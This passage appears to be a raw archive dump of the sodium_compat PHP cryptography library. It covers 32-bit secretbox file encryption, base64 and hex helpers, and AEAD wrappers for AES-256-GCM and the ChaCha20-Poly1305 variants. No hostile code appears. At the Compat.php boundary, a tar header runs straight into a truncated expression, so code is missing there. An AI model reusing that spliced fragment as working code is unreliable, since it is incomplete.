ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen0 = $mlen; if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor( $block0, $realNonce, $subkey ); $state = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_Util::substr( $block0, 0, ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES ) ); // Pre-write 16 blank bytes for the Poly1305 tag $start = self::ftell($ofp); fwrite($ofp, str_repeat("\x00", 16)); /** @var string $c */ $cBlock = ParagonIE_Sodium_Core32_Util::substr( $block0, ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES ); $state->update($cBlock); fwrite($ofp, $cBlock); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ fseek($ifp, $first32, SEEK_SET); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $plaintext = fread($ifp, $blockSize); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( $plaintext, $realNonce, $iter, $subkey ); fwrite($ofp, $cBlock, $blockSize); $state->update($cBlock); $mlen -= $blockSize; $iter += $incr; } try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $end = self::ftell($ofp); /* * Write the Poly1305 authentication tag that provides integrity * over the ciphertext (encrypt-then-MAC) */ fseek($ofp, $start, SEEK_SET); fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES); fseek($ofp, $end, SEEK_SET); unset($state); return true; } /** * Decrypt a file (32-bit) * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key) { $tag = fread($ifp, 16); if (!is_string($tag)) { throw new SodiumException('Could not read input file'); } /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20( 64, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); /* Verify the Poly1305 MAC -before- attempting to decrypt! */ $state = new ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32)); if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) { throw new SodiumException('Invalid MAC'); } /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ $first32 = fread($ifp, 32); if (!is_string($first32)) { throw new SodiumException('Could not read input file'); } $first32len = self::strlen($first32); fwrite( $ofp, self::xorStrings( self::substr($block0, 32, $first32len), self::substr($first32, 0, $first32len) ) ); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* Decrypts ciphertext, writes to output file. */ while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( $ciphertext, $realNonce, $iter, $subkey ); fwrite($ofp, $pBlock, $blockSize); $mlen -= $blockSize; $iter += $incr; } return true; } /** * One-time message authentication for 32-bit systems * * @param ParagonIE_Sodium_Core32_Poly1305_State $state * @param resource $ifp * @param string $tag * @param int $mlen * @return bool * @throws SodiumException * @throws TypeError */ protected static function onetimeauth_verify_core32( ParagonIE_Sodium_Core32_Poly1305_State $state, $ifp, $tag = '', $mlen = 0 ) { /** @var int $pos */ $pos = self::ftell($ifp); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $state->update($ciphertext); $mlen -= $blockSize; } $res = ParagonIE_Sodium_Core32_Util::verify_16($tag, $state->finish()); fseek($ifp, $pos, SEEK_SET); return $res; } /** * @param resource $resource * @return int * @throws SodiumException */ private static function ftell($resource) { $return = ftell($resource); if (!is_int($return)) { throw new SodiumException('ftell() returned false'); } return (int) $return; } } sodium_compat/src/Compat.php000064400000440513147177035010012146 0ustar00>= 8; } $val = ParagonIE_Sodium_Core_Util::intArrayToString($A); } /** * @param string $encoded * @param int $variant * @param string $ignore * @return string * @throws SodiumException */ public static function base642bin($encoded, $variant, $ignore = '') { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($encoded, 'string', 1); /** @var string $encoded */ $encoded = (string) $encoded; if (ParagonIE_Sodium_Core_Util::strlen($encoded) === 0) { return ''; } // Just strip before decoding if (!empty($ignore)) { $encoded = str_replace($ignore, '', $encoded); } try { switch ($variant) { case self::BASE64_VARIANT_ORIGINAL: return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, true); case self::BASE64_VARIANT_ORIGINAL_NO_PADDING: return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, false); case self::BASE64_VARIANT_URLSAFE: return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, true); case self::BASE64_VARIANT_URLSAFE_NO_PADDING: return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, false); default: throw new SodiumException('invalid base64 variant identifier'); } } catch (Exception $ex) { if ($ex instanceof SodiumException) { throw $ex; } throw new SodiumException('invalid base64 string'); } } /** * @param string $decoded * @param int $variant * @return string * @throws SodiumException */ public static function bin2base64($decoded, $variant) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($decoded, 'string', 1); /** @var string $decoded */ $decoded = (string) $decoded; if (ParagonIE_Sodium_Core_Util::strlen($decoded) === 0) { return ''; } switch ($variant) { case self::BASE64_VARIANT_ORIGINAL: return ParagonIE_Sodium_Core_Base64_Original::encode($decoded); case self::BASE64_VARIANT_ORIGINAL_NO_PADDING: return ParagonIE_Sodium_Core_Base64_Original::encodeUnpadded($decoded); case self::BASE64_VARIANT_URLSAFE: return ParagonIE_Sodium_Core_Base64_UrlSafe::encode($decoded); case self::BASE64_VARIANT_URLSAFE_NO_PADDING: return ParagonIE_Sodium_Core_Base64_UrlSafe::encodeUnpadded($decoded); default: throw new SodiumException('invalid base64 variant identifier'); } } /** * Cache-timing-safe implementation of bin2hex(). * * @param string $string A string (probably raw binary) * @return string A hexadecimal-encoded string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function bin2hex($string) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1); if (self::useNewSodiumAPI()) { return (string) sodium_bin2hex($string); } if (self::use_fallback('bin2hex')) { return (string) call_user_func('\\Sodium\\bin2hex', $string); } return ParagonIE_Sodium_Core_Util::bin2hex($string); } /** * Compare two strings, in constant-time. * Compared to memcmp(), compare() is more useful for sorting. * * @param string $left The left operand; must be a string * @param string $right The right operand; must be a string * @return int If < 0 if the left operand is less than the right * If = 0 if both strings are equal * If > 0 if the right operand is less than the left * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function compare($left, $right) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2); if (self::useNewSodiumAPI()) { return (int) sodium_compare($left, $right); } if (self::use_fallback('compare')) { return (int) call_user_func('\\Sodium\\compare', $left, $right); } return ParagonIE_Sodium_Core_Util::compare($left, $right); } /** * Is AES-256-GCM even available to use? * * @return bool * @psalm-suppress UndefinedFunction * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aes256gcm_is_available() { if (self::useNewSodiumAPI()) { return sodium_crypto_aead_aes256gcm_is_available(); } if (self::use_fallback('crypto_aead_aes256gcm_is_available')) { return call_user_func('\\Sodium\\crypto_aead_aes256gcm_is_available'); } if (PHP_VERSION_ID < 70100) { // OpenSSL doesn't support AEAD before 7.1.0 return false; } if (!is_callable('openssl_encrypt') || !is_callable('openssl_decrypt')) { // OpenSSL isn't installed return false; } return (bool) in_array('aes-256-gcm', openssl_get_cipher_methods()); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * AES-256-GCM * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string|bool The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aes256gcm_decrypt( $ciphertext = '', $assocData = '', $nonce = '', $key = '' ) { if (!self::crypto_aead_aes256gcm_is_available()) { throw new SodiumException('AES-256-GCM is not available'); } ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_AES256GCM_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_AES256GCM_ABYTES long'); } if (!is_callable('openssl_decrypt')) { throw new SodiumException('The OpenSSL extension is not installed, or openssl_decrypt() is not available'); } /** @var string $ctext */ $ctext = ParagonIE_Sodium_Core_Util::substr($ciphertext, 0, -self::CRYPTO_AEAD_AES256GCM_ABYTES); /** @var string $authTag */ $authTag = ParagonIE_Sodium_Core_Util::substr($ciphertext, -self::CRYPTO_AEAD_AES256GCM_ABYTES, 16); return openssl_decrypt( $ctext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $authTag, $assocData ); } /** * Authenticated Encryption with Associated Data: Encryption * * Algorithm: * AES-256-GCM * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte GCM message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_aes256gcm_encrypt( $plaintext = '', $assocData = '', $nonce = '', $key = '' ) { if (!self::crypto_aead_aes256gcm_is_available()) { throw new SodiumException('AES-256-GCM is not available'); } ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long'); } if (!is_callable('openssl_encrypt')) { throw new SodiumException('The OpenSSL extension is not installed, or openssl_encrypt() is not available'); } $authTag = ''; $ciphertext = openssl_encrypt( $plaintext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $authTag, $assocData ); return $ciphertext . $authTag; } /** * Return a secure random key for use with the AES-256-GCM * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_aes256gcm_keygen() { return random_bytes(self::CRYPTO_AEAD_AES256GCM_KEYBYTES); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * ChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_chacha20poly1305_decrypt( $ciphertext = '', $assocData = '', $nonce = '', $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_decrypt')) { return call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_decrypt', $ciphertext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data * * Algorithm: * ChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_chacha20poly1305_encrypt( $plaintext = '', $assocData = '', $nonce = '', $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_encrypt')) { return (string) call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_encrypt', $plaintext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * ChaCha20-Poly1305 * * IETF mode uses a 96-bit random nonce with a 32-bit counter. * Regular mode uses a 64-bit random nonce with a 64-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 12 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_chacha20poly1305_ietf_decrypt( $ciphertext = '', $assocData = '', $nonce = '', $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_decrypt')) { return call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt', $ciphertext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the ChaCha20-Poly1305 * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_chacha20poly1305_keygen() { return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES); } /** * Authenticated Encryption with Associated Data * * Algorithm: * ChaCha20-Poly1305 * * IETF mode uses a 96-bit random nonce with a 32-bit counter. * Regular mode uses a 64-bit random nonce with a 64-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_chacha20poly1305_ietf_encrypt( $plaintext = '', $assocData = '', $nonce = '', $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_encrypt')) { return (string) call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt', $plaintext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the ChaCha20-Poly1305 * symmetric AEAD interface. (IETF version) * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_chacha20poly1305_ietf_keygen() { return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * XChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * @param bool $dontFallback Don't fallback to ext/sodium * * @return string|bool The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext = '', $assocData = '', $nonce = '', $key = '', $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } else { $assocData = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES long'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) { return sodium_crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data * * Algorithm: * XChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * @param bool $dontFallback Don't fallback to ext/sodium * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_xchacha20poly1305_ietf_encrypt( $plaintext = '', $assocData = '', $nonce = '', $key = '', $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } else { $assocData = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_KEYBYTES long'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) { return sodium_crypto_aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the XChaCha20-Poly1305 * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_xchacha20poly1305_ietf_keygen() { return random_bytes(self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES); } /** * Authenticate a message. Uses symmetric-key cryptography. * * Algorithm: * HMAC-SHA512-256. Which is HMAC-SHA-512 truncated to 256 bits. * Not to be confused with HMAC-SHA-512/256 which would use the * SHA-512/256 hash function (uses different initial parameters * but still truncates to 256 bits to sidestep length-extension * attacks). * * @param string $message Message to be authenticated * @param string $key Symmetric authentication key * @return string Message authentication code * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_auth($message, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_AUTH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_auth($message, $key); } if (self::use_fallback('crypto_auth')) { return (string) call_user_func('\\Sodium\\crypto_auth', $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::auth($message, $key); } return ParagonIE_Sodium_Crypto::auth($message, $key); } /** * @return string * @throws Exception * @throws Error */ public static function crypto_auth_keygen() { return random_bytes(self::CRYPTO_AUTH_KEYBYTES); } /** * Verify the MAC of a message previously authenticated with crypto_auth. * * @param string $mac Message authentication code * @param string $message Message whose authenticity you are attempting to * verify (with a given MAC and key) * @param string $key Symmetric authentication key * @return bool TRUE if authenticated, FALSE otherwise * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_auth_verify($mac, $message, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($mac, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($mac) !== self::CRYPTO_AUTH_BYTES) { throw new SodiumException('Argument 1 must be CRYPTO_AUTH_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_AUTH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_auth_verify($mac, $message, $key); } if (self::use_fallback('crypto_auth_verify')) { return (bool) call_user_func('\\Sodium\\crypto_auth_verify', $mac, $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::auth_verify($mac, $message, $key); } return ParagonIE_Sodium_Crypto::auth_verify($mac, $message, $key); } /** * Authenticated asymmetric-key encryption. Both the sender and recipient * may decrypt messages. * * Algorithm: X25519-XSalsa20-Poly1305. * X25519: Elliptic-Curve Diffie Hellman over Curve25519. * XSalsa20: Extended-nonce variant of salsa20. * Poyl1305: Polynomial MAC for one-time message authentication. * * @param string $plaintext The message to be encrypted * @param string $nonce A Number to only be 